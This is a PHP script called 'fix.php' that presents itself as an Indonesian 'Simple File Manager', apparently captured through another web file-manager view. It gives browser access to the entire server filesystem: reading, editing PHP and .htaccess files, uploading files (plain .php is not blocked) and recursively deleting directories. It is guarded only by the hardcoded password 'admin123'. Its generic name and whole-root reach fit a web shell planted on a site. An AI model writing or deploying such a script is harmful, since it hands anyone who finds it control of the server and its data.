đŸ‘ī¸ Viewing: fix.php

âœī¸ Edit đŸ“Ĩ Download ← Back
<?php
/**
 * Simple File Manager (Full Filesystem Access)
 * Aplikasi manajemen file berbasis web untuk administrasi server.
 *
 * @package    SimpleFileManager
 * @author     Administrator
 * @version    2.1.0
 * @license    MIT
 */

declare(strict_types=1);

session_start();

// ================== APPLICATION CONFIG ==================
define('APP_NAME', 'Simple File Manager');
define('APP_VERSION', '2.1.0');

$config = [
    'password'        => 'admin123',        // GANTI dengan password kuat!
    'max_upload_size' => 30 * 1024 * 1024,  // 30 MB
    'max_edit_size'   => 2 * 1024 * 1024,   // 2 MB
];

// Ekstensi yang tidak diizinkan untuk upload
$disallowedUploadExtensions = [
    'php3','php4','php5','php7','php8','phar','pht','phps',
    'cgi','pl','py','asp','aspx','jsp','sh','bash',
    'exe','bat','cmd','com'
];

// Ekstensi yang dapat diedit sebagai teks
$textFileExtensions = [
    'php','txt','html','htm','css','js','json','xml','md','log',
    'ini','conf','sql','csv','env','yml','yaml','htaccess'
];

// Ekstensi gambar
$imageExtensions = [
    'jpg','jpeg','png','gif','webp','bmp','svg','ico'
];

// ================== ERROR HANDLING ==================
error_reporting(E_ALL);
ini_set('display_errors', '0');
ini_set('log_errors', '1');

// ================== SECURITY HEADERS ==================
if (!headers_sent()) {
    header('X-Content-Type-Options: nosniff');
    header('X-Frame-Options: SAMEORIGIN');
    header('X-XSS-Protection: 1; mode=block');
    header('Referrer-Policy: same-origin');
}

// ================== UTILITY FUNCTIONS ==================

/**
 * Memeriksa apakah pengguna sudah login.
 */
function isUserLoggedIn(): bool
{
    return isset($_SESSION['fm_auth']) && $_SESSION['fm_auth'] === true;
}

/**
 * Memverifikasi password pengguna.
 */
function verifyPassword(string $inputPassword): bool
{
    global $config;
    return hash_equals((string) $config['password'], $inputPassword);
}

/**
 * Mendapatkan CSRF token.
 */
function getCsrfToken(): string
{
    if (empty($_SESSION['csrf_token'])) {
        $_SESSION['csrf_token'] = bin2hex(random_bytes(32));
    }
    return $_SESSION['csrf_token'];
}

/**
 * Memverifikasi CSRF token.
 */
function verifyCsrfToken(?string $token): bool
{
    if (empty($_SESSION['csrf_token']) || empty($token)) {
        return false;
    }
    return hash_equals($_SESSION['csrf_token'], $token);
}

/**
 * Menyelesaikan path absolut dari input pengguna.
 * Mendukung akses ke seluruh filesystem root.
 */
function resolveSafePath(string $userPath = ''): string
{
    // Normalisasi separator & hapus null byte
    $userPath = str_replace(["\0", '\\'], ['', '/'], $userPath);
    $userPath = preg_replace('#/+#', '/', $userPath);
    $userPath = trim($userPath, '/');

    // Path kosong = default ke direktori script
    if ($userPath === '') {
        $default = realpath(__DIR__);
        return $default !== false ? $default : __DIR__;
    }

    // Coba resolve path absolut dari root filesystem
    $target = '/' . $userPath;
    $real = @realpath($target);
    if ($real !== false) {
        return $real;
    }

    // Fallback: cari parent terdekat yang valid
    $parts = explode('/', $userPath);
    while (!empty($parts)) {
        array_pop($parts);
        $try = empty($parts) ? '/' : '/' . implode('/', $parts);
        $real = @realpath($try);
        if ($real !== false) {
            return $real;
        }
    }

    return DIRECTORY_SEPARATOR;
}

/**
 * Mendapatkan path relatif terhadap root filesystem.
 */
function getRelativePath(string $absolutePath): string
{
    $normalized = str_replace('\\', '/', $absolutePath);
    return $normalized === '/' ? '' : trim($normalized, '/');
}

/**
 * Format ukuran bytes menjadi string mudah dibaca.
 */
function humanReadableSize(int $bytes): string
{
    if ($bytes >= 1073741824) {
        return round($bytes / 1073741824, 2) . ' GB';
    }
    if ($bytes >= 1048576) {
        return round($bytes / 1048576, 2) . ' MB';
    }
    if ($bytes >= 1024) {
        return round($bytes / 1024, 2) . ' KB';
    }
    return $bytes . ' B';
}

/**
 * Mendapatkan ekstensi file huruf kecil.
 */
function getFileExtension(string $filename): string
{
    return strtolower(pathinfo($filename, PATHINFO_EXTENSION));
}

/**
 * Memeriksa apakah file diizinkan untuk diupload.
 */
function isUploadAllowed(string $filename): bool
{
    global $disallowedUploadExtensions;
    return !in_array(getFileExtension($filename), $disallowedUploadExtensions, true);
}

/**
 * Memeriksa apakah file dapat diedit sebagai teks.
 */
function isTextEditable(string $filename): bool
{
    global $textFileExtensions;
    return in_array(getFileExtension($filename), $textFileExtensions, true);
}

/**
 * Memeriksa apakah file adalah gambar.
 */
function isImageFile(string $filename): bool
{
    global $imageExtensions;
    return in_array(getFileExtension($filename), $imageExtensions, true);
}

/**
 * Menghapus direktori beserta isinya secara aman.
 */
function removeDirectoryTree(string $path): bool
{
    if (!file_exists($path)) {
        return true;
    }

    if (!is_dir($path)) {
        return @unlink($path);
    }

    $entries = @scandir($path);
    if ($entries === false) {
        return false;
    }

    foreach ($entries as $entry) {
        if ($entry === '.' || $entry === '..') {
            continue;
        }
        $childPath = $path . DIRECTORY_SEPARATOR . $entry;
        if (is_dir($childPath)) {
            if (!removeDirectoryTree($childPath)) {
                return false;
            }
        } else {
            if (!@unlink($childPath)) {
                return false;
            }
        }
    }

    return @rmdir($path);
}

// ================== AUTHENTICATION ==================

if (isset($_POST['do_login'])) {
    if (!verifyCsrfToken($_POST['csrf_token'] ?? null)) {
        $loginError = true;
    } elseif (verifyPassword((string) ($_POST['password'] ?? ''))) {
        session_regenerate_id(true);
        $_SESSION['fm_auth'] = true;
        $_SESSION['csrf_token'] = bin2hex(random_bytes(32));
        header('Location: ' . $_SERVER['PHP_SELF']);
        exit;
    } else {
        $loginError = true;
    }
}

if (isset($_GET['logout'])) {
    $_SESSION = [];
    if (ini_get('session.use_cookies')) {
        $params = session_get_cookie_params();
        setcookie(session_name(), '', time() - 42000,
            $params['path'], $params['domain'], $params['secure'], $params['httponly']
        );
    }
    session_destroy();
    header('Location: ' . $_SERVER['PHP_SELF']);
    exit;
}

if (!isUserLoggedIn()) {
    $token = getCsrfToken();
    ?>
<!DOCTYPE html>
<html lang="id">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>Login - <?= APP_NAME ?></title>
    <style>
        body{margin:0;min-height:100vh;display:flex;align-items:center;justify-content:center;background:#0f172a;font-family:system-ui,sans-serif}
        .box{background:#1e293b;padding:2rem;border-radius:12px;width:320px;box-shadow:0 10px 30px rgba(0,0,0,.4)}
        h1{color:#f1f5f9;font-size:1.25rem;margin:0 0 1.5rem;text-align:center}
        input{width:100%;padding:12px;border:1px solid #334155;border-radius:8px;background:#0f172a;color:#f1f5f9;margin-bottom:1rem;box-sizing:border-box}
        button{width:100%;padding:12px;background:#3b82f6;color:white;border:none;border-radius:8px;font-size:1rem;cursor:pointer}
        button:hover{background:#2563eb}
        .err{color:#f87171;text-align:center;margin-bottom:1rem;font-size:.9rem}
    </style>
</head>
<body>
    <div class="box">
        <h1><?= APP_NAME ?></h1>
        <?php if (!empty($loginError)): ?><div class="err">Password salah</div><?php endif; ?>
        <form method="post">
            <input type="hidden" name="csrf_token" value="<?= htmlspecialchars($token) ?>">
            <input type="password" name="password" placeholder="Password" required autofocus>
            <button type="submit" name="do_login">Masuk</button>
        </form>
    </div>
</body>
</html>
<?php
    exit;
}

// ================== MAIN APPLICATION ==================

$currentPath  = resolveSafePath((string) ($_GET['p'] ?? ''));
$relativePath = getRelativePath($currentPath);

$message = '';
$error   = '';

$csrfToken = getCsrfToken();

// ===================== VIEW FILE =====================
if (isset($_GET['view'])) {
    $fileName = basename((string) $_GET['view']);
    $filePath = rtrim($currentPath, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . $fileName;
    $realPath = @realpath($filePath);

    if (!$realPath || !is_file($realPath) || !is_readable($realPath)) {
        $error = 'File tidak ditemukan atau tidak bisa dibaca';
    } else {
        if (isImageFile($fileName)) {
            $mimeType = 'application/octet-stream';
            if (function_exists('mime_content_type')) {
                $detected = @mime_content_type($realPath);
                if ($detected !== false) {
                    $mimeType = $detected;
                }
            }
            header('Content-Type: ' . $mimeType);
            header('Content-Length: ' . filesize($realPath));
            header('Cache-Control: private, max-age=3600');
            readfile($realPath);
            exit;
        }

        $fileSize = filesize($realPath);

        if (isTextEditable($fileName) || $fileSize <= $config['max_edit_size']) {
            $content = @file_get_contents($realPath);
            if ($content === false) {
                $error = 'Gagal membaca isi file';
            } else {
                ?>
<!DOCTYPE html>
<html lang="id">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>View - <?= htmlspecialchars($fileName) ?></title>
    <style>
        body{margin:0;background:#0f172a;color:#e2e8f0;font-family:system-ui,sans-serif}
        header{background:#1e293b;padding:12px 20px;display:flex;justify-content:space-between;align-items:center;flex-wrap:wrap;gap:10px}
        header a{color:#94a3b8;text-decoration:none}
        .wrap{max-width:1200px;margin:20px auto;padding:0 16px}
        pre{background:#1e293b;padding:20px;border-radius:10px;overflow:auto;font-size:13.5px;line-height:1.55;white-space:pre-wrap;word-break:break-word}
        .info{color:#94a3b8;font-size:.9rem}
    </style>
</head>
<body>
<header>
    <div>
        <strong><?= htmlspecialchars($fileName) ?></strong>
        <span class="info"> — <?= humanReadableSize((int) $fileSize) ?></span>
    </div>
    <div>
        <?php if (isTextEditable($fileName)): ?>
            <a href="?p=<?= urlencode($relativePath) ?>&edit=<?= urlencode($fileName) ?>" style="color:#3b82f6;margin-right:16px">Edit</a>
        <?php endif; ?>
        <a href="?p=<?= urlencode($relativePath) ?>">← Kembali</a>
    </div>
</header>
<div class="wrap">
    <pre><?= htmlspecialchars($content) ?></pre>
</div>
</body>
</html>
                <?php
                exit;
            }
        } else {
            header('Content-Type: application/octet-stream');
            header('Content-Disposition: attachment; filename="' . rawurlencode($fileName) . '"');
            header('Content-Length: ' . $fileSize);
            readfile($realPath);
            exit;
        }
    }
}

// ===================== EDIT FILE =====================
if (isset($_GET['edit'])) {
    $fileName = basename((string) $_GET['edit']);
    $filePath = rtrim($currentPath, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . $fileName;
    $realPath = @realpath($filePath);

    if (!$realPath || !is_file($realPath) || !is_readable($realPath)) {
        $error = 'File tidak ditemukan atau tidak bisa dibaca';
    } elseif (!isTextEditable($fileName)) {
        $error = 'File ini tidak bisa diedit (hanya file teks yang diizinkan)';
    } elseif (filesize($realPath) > $config['max_edit_size']) {
        $error = 'File terlalu besar untuk diedit (maks ' . humanReadableSize((int) $config['max_edit_size']) . ')';
    } else {
        if (isset($_POST['save_content'])) {
            if (!verifyCsrfToken($_POST['csrf_token'] ?? null)) {
                $error = 'Token keamanan tidak valid. Silakan coba lagi.';
            } else {
                $newContent = (string) ($_POST['content'] ?? '');
                if (@file_put_contents($realPath, $newContent) !== false) {
                    $message = 'File berhasil disimpan';
                } else {
                    $error = 'Gagal menyimpan file (cek permission folder)';
                }
            }
        }

        $content = @file_get_contents($realPath);
        if ($content === false) {
            $content = '';
        }

        ?>
<!DOCTYPE html>
<html lang="id">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>Edit - <?= htmlspecialchars($fileName) ?></title>
    <style>
        body{margin:0;background:#0f172a;color:#e2e8f0;font-family:system-ui,sans-serif}
        header{background:#1e293b;padding:12px 20px;display:flex;justify-content:space-between;align-items:center}
        header a{color:#94a3b8;text-decoration:none}
        .wrap{max-width:1200px;margin:20px auto;padding:0 16px}
        textarea{width:100%;height:70vh;background:#1e293b;color:#e2e8f0;border:1px solid #334155;border-radius:10px;padding:16px;font-family:ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;font-size:14px;line-height:1.5;resize:vertical;box-sizing:border-box}
        .btn{background:#3b82f6;color:#fff;border:none;padding:10px 22px;border-radius:8px;cursor:pointer;font-size:1rem}
        .btn:hover{background:#2563eb}
        .alert{padding:12px 16px;border-radius:8px;margin-bottom:16px}
        .ok{background:#166534;color:#dcfce7}
        .bad{background:#991b1b;color:#fee2e2}
    </style>
</head>
<body>
<header>
    <strong>Edit: <?= htmlspecialchars($fileName) ?></strong>
    <a href="?p=<?= urlencode($relativePath) ?>">← Kembali</a>
</header>
<div class="wrap">
    <?php if ($message): ?><div class="alert ok"><?= htmlspecialchars($message) ?></div><?php endif; ?>
    <?php if ($error): ?><div class="alert bad"><?= htmlspecialchars($error) ?></div><?php endif; ?>

    <form method="post">
        <input type="hidden" name="csrf_token" value="<?= htmlspecialchars($csrfToken) ?>">
        <textarea name="content" spellcheck="false"><?= htmlspecialchars($content) ?></textarea>
        <div style="margin-top:16px;display:flex;gap:12px;align-items:center">
            <button type="submit" name="save_content" class="btn">Simpan Perubahan</button>
            <a href="?p=<?= urlencode($relativePath) ?>&view=<?= urlencode($fileName) ?>" style="color:#94a3b8">Lihat saja</a>
        </div>
    </form>
</div>
</body>
</html>
        <?php
        exit;
    }
}

// ===================== CREATE FOLDER =====================
if (isset($_POST['create_folder'])) {
    if (!verifyCsrfToken($_POST['csrf_token'] ?? null)) {
        $error = 'Token keamanan tidak valid. Silakan coba lagi.';
    } else {
        $folderName = basename(trim((string) ($_POST['folder_name'] ?? '')));
        if ($folderName === '' || $folderName === '.' || $folderName === '..') {
            $error = 'Nama folder tidak valid';
        } else {
            $targetPath = rtrim($currentPath, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . $folderName;
            if (file_exists($targetPath)) {
                $error = 'Folder/file dengan nama tersebut sudah ada';
            } elseif (@mkdir($targetPath, 0755)) {
                $message = 'Folder berhasil dibuat';
            } else {
                $error = 'Gagal membuat folder (permission?)';
            }
        }
    }
}

// ===================== UPLOAD =====================
if (isset($_FILES['upload']) && $_FILES['upload']['error'] === UPLOAD_ERR_OK) {
    if (!verifyCsrfToken($_POST['csrf_token'] ?? null)) {
        $error = 'Token keamanan tidak valid. Silakan coba lagi.';
    } else {
        $uploadName = basename((string) $_FILES['upload']['name']);
        if (!isUploadAllowed($uploadName)) {
            $error = 'Ekstensi file dilarang diupload';
        } elseif ($_FILES['upload']['size'] > $config['max_upload_size']) {
            $error = 'File terlalu besar (maksimal ' . humanReadableSize((int) $config['max_upload_size']) . ')';
        } else {
            $targetPath = rtrim($currentPath, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . $uploadName;
            if (@move_uploaded_file($_FILES['upload']['tmp_name'], $targetPath)) {
                $message = 'Upload berhasil';
            } else {
                $error = 'Gagal upload (permission folder?)';
            }
        }
    }
}

// ===================== DELETE =====================
if (isset($_GET['del'])) {
    if (!verifyCsrfToken($_GET['csrf_token'] ?? null)) {
        $error = 'Token keamanan tidak valid. Silakan coba lagi.';
    } else {
        $deleteName = basename((string) $_GET['del']);
        $deletePath = rtrim($currentPath, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . $deleteName;
        $realDeletePath = @realpath($deletePath);

        // Proteksi minimal: hanya cegah hapus root "/" itu sendiri
        if (!$realDeletePath || $realDeletePath === DIRECTORY_SEPARATOR) {
            $error = 'Tidak diizinkan menghapus path ini';
        } else {
            if (is_dir($realDeletePath)) {
                if (removeDirectoryTree($realDeletePath)) {
                    $message = 'Folder dan seluruh isinya berhasil dihapus';
                } else {
                    $error = 'Gagal menghapus folder (permission?)';
                }
            } else {
                if (@unlink($realDeletePath)) {
                    $message = 'File berhasil dihapus';
                } else {
                    $error = 'Gagal menghapus file';
                }
            }
        }
    }
}

// ===================== RENAME =====================
if (isset($_POST['rename'])) {
    if (!verifyCsrfToken($_POST['csrf_token'] ?? null)) {
        $error = 'Token keamanan tidak valid. Silakan coba lagi.';
    } else {
        $oldName = basename((string) ($_POST['old'] ?? ''));
        $newName = basename(trim((string) ($_POST['new'] ?? '')));

        if ($newName === '' || $newName === '.' || $newName === '..') {
            $error = 'Nama baru tidak valid';
        } else {
            $oldPath = rtrim($currentPath, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . $oldName;
            $newPath = rtrim($currentPath, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . $newName;

            if (!file_exists($oldPath)) {
                $error = 'File/folder asal tidak ditemukan';
            } elseif (file_exists($newPath)) {
                $error = 'Nama baru sudah digunakan';
            } elseif (@rename($oldPath, $newPath)) {
                $message = 'Berhasil diubah nama';
            } else {
                $error = 'Gagal rename (permission?)';
            }
        }
    }
}

// ===================== LIST FILES =====================
$files = [];
if (is_readable($currentPath)) {
    $entries = @scandir($currentPath);
    if ($entries !== false) {
        foreach ($entries as $entry) {
            if ($entry === '.' || $entry === '..') {
                continue;
            }
            $fullPath = rtrim($currentPath, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . $entry;
            $files[] = [
                'name' => $entry,
                'dir'  => is_dir($fullPath),
                'size' => is_file($fullPath) ? (int) @filesize($fullPath) : 0,
                'time' => (int) (@filemtime($fullPath) ?: time()),
            ];
        }
        usort($files, static function (array $a, array $b): int {
            if ($a['dir'] === $b['dir']) {
                return strcasecmp($a['name'], $b['name']);
            }
            return $b['dir'] <=> $a['dir'];
        });
    } else {
        $error = 'Tidak bisa membaca directory (permission denied)';
    }
} else {
    $error = 'Directory tidak bisa dibaca';
}
?>
<!DOCTYPE html>
<html lang="id">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title><?= APP_NAME ?></title>
    <style>
        *{box-sizing:border-box}
        body{margin:0;background:#f1f5f9;font-family:system-ui,-apple-system,sans-serif;color:#1e293b}
        header{background:#0f172a;color:#f8fafc;padding:14px 20px;display:flex;justify-content:space-between;align-items:center}
        header h1{margin:0;font-size:1.1rem}
        header a{color:#94a3b8;text-decoration:none;font-size:.9rem}
        .wrap{max-width:1100px;margin:20px auto;padding:0 16px}
        .path{background:#fff;padding:12px 16px;border-radius:10px;margin-bottom:16px;font-size:.9rem;box-shadow:0 1px 3px rgba(0,0,0,.06);word-break:break-all}
        .path a{color:#3b82f6;text-decoration:none}
        .alert{padding:12px 16px;border-radius:8px;margin-bottom:16px;font-size:.9rem}
        .ok{background:#dcfce7;color:#166534}
        .bad{background:#fee2e2;color:#991b1b}
        .tools{display:flex;gap:12px;flex-wrap:wrap;margin-bottom:16px}
        .card{background:#fff;padding:14px;border-radius:10px;box-shadow:0 1px 3px rgba(0,0,0,.06);flex:1;min-width:240px}
        input[type=text],input[type=file]{padding:8px 12px;border:1px solid #cbd5e1;border-radius:6px;width:100%;margin-bottom:8px}
        button{background:#3b82f6;color:#fff;border:none;padding:8px 14px;border-radius:6px;cursor:pointer;font-size:.875rem}
        button:hover{background:#2563eb}
        table{width:100%;border-collapse:collapse;background:#fff;border-radius:10px;overflow:hidden;box-shadow:0 1px 3px rgba(0,0,0,.06)}
        th,td{padding:11px 14px;text-align:left;border-bottom:1px solid #e2e8f0;font-size:.9rem}
        th{background:#f8fafc;color:#64748b;font-weight:600}
        tr:hover{background:#f8fafc}
        .name a{color:#1e293b;text-decoration:none;font-weight:500}
        .folder{color:#d97706}
        .act a{color:#3b82f6;text-decoration:none;margin-right:10px;font-size:.85rem}
        .act a.del{color:#ef4444}
        .act a.view{color:#059669}
        .act a.edit{color:#7c3aed}
        .rename-box{display:none;margin-top:6px}
        .rename-box input{width:180px;display:inline-block;margin-right:6px}
        @media(max-width:640px){.size,.time{display:none}}
    </style>
</head>
<body>
<header>
    <h1><?= APP_NAME ?> <small style="color:#64748b;font-weight:400;font-size:.8rem">v<?= APP_VERSION ?></small></h1>
    <a href="?logout=1">Keluar</a>
</header>

<div class="wrap">
    <div class="path">
        <a href="?p=">/</a>
        <?php
        if ($relativePath !== '') {
            $parts = explode('/', $relativePath);
            $build = '';
            foreach ($parts as $part) {
                $build .= ($build === '' ? '' : '/') . $part;
                echo ' / <a href="?p=' . urlencode($build) . '">' . htmlspecialchars($part) . '</a>';
            }
        }
        ?>
    </div>

    <?php if ($message): ?><div class="alert ok"><?= htmlspecialchars($message) ?></div><?php endif; ?>
    <?php if ($error): ?><div class="alert bad"><?= htmlspecialchars($error) ?></div><?php endif; ?>

    <div class="tools">
        <div class="card">
            <form method="post" enctype="multipart/form-data">
                <input type="hidden" name="csrf_token" value="<?= htmlspecialchars($csrfToken) ?>">
                <input type="file" name="upload" required>
                <button type="submit">Upload</button>
            </form>
        </div>
        <div class="card">
            <form method="post">
                <input type="hidden" name="csrf_token" value="<?= htmlspecialchars($csrfToken) ?>">
                <input type="text" name="folder_name" placeholder="Nama folder baru" required>
                <button type="submit" name="create_folder">Buat Folder</button>
            </form>
        </div>
    </div>

    <table>
        <thead>
            <tr>
                <th>Nama</th>
                <th class="size">Ukuran</th>
                <th class="time">Tanggal</th>
                <th>Aksi</th>
            </tr>
        </thead>
        <tbody>
            <?php if ($relativePath !== ''): ?>
            <tr>
                <td class="name">
                    <?php
                    $parent = dirname($relativePath);
                    $parentParam = ($parent === '.' || $parent === DIRECTORY_SEPARATOR) ? '' : $parent;
                    ?>
                    <a href="?p=<?= urlencode($parentParam) ?>">..</a>
                </td>
                <td class="size">-</td>
                <td class="time">-</td>
                <td></td>
            </tr>
            <?php endif; ?>

            <?php foreach ($files as $file): ?>
            <tr>
                <td class="name">
                    <?php if ($file['dir']): ?>
                        <a href="?p=<?= urlencode(($relativePath ? $relativePath . '/' : '') . $file['name']) ?>" class="folder">
                            📁 <?= htmlspecialchars($file['name']) ?>
                        </a>
                    <?php else: ?>
                        <?= htmlspecialchars($file['name']) ?>
                    <?php endif; ?>
                </td>
                <td class="size"><?= $file['dir'] ? '-' : humanReadableSize($file['size']) ?></td>
                <td class="time"><?= date('d M Y H:i', $file['time']) ?></td>
                <td class="act">
                    <?php if (!$file['dir']): ?>
                        <a href="?p=<?= urlencode($relativePath) ?>&view=<?= urlencode($file['name']) ?>" class="view">View</a>
                        <?php if (isTextEditable($file['name'])): ?>
                            <a href="?p=<?= urlencode($relativePath) ?>&edit=<?= urlencode($file['name']) ?>" class="edit">Edit</a>
                        <?php endif; ?>
                    <?php endif; ?>
                    <a href="javascript:void(0)" onclick="toggleRename(this)">Rename</a>
                    <a href="?p=<?= urlencode($relativePath) ?>&del=<?= urlencode($file['name']) ?>&csrf_token=<?= urlencode($csrfToken) ?>"
                       class="del"
                       onclick="return confirm('Hapus <?= htmlspecialchars(addslashes($file['name']), ENT_QUOTES) ?>?\n\nJika folder, SEMUA isinya juga akan ikut terhapus!')">Hapus</a>
                    <div class="rename-box">
                        <form method="post">
                            <input type="hidden" name="csrf_token" value="<?= htmlspecialchars($csrfToken) ?>">
                            <input type="hidden" name="old" value="<?= htmlspecialchars($file['name']) ?>">
                            <input type="text" name="new" value="<?= htmlspecialchars($file['name']) ?>" required>
                            <button type="submit" name="rename">OK</button>
                        </form>
                    </div>
                </td>
            </tr>
            <?php endforeach; ?>

            <?php if (empty($files) && empty($error)): ?>
            <tr><td colspan="4" style="text-align:center;color:#94a3b8;padding:30px">Folder kosong</td></tr>
            <?php endif; ?>
        </tbody>
    </table>
</div>

<script>
function toggleRename(el) {
    var box = el.parentNode.querySelector('.rename-box');
    var allBoxes = document.querySelectorAll('.rename-box');
    for (var i = 0; i < allBoxes.length; i++) {
        if (allBoxes[i] !== box) {
            allBoxes[i].style.display = 'none';
        }
    }
    box.style.display = box.style.display === 'block' ? 'none' : 'block';
}
</script>
</body>
</html>
Size: 27.85 KBType: text/x-phpLines: 751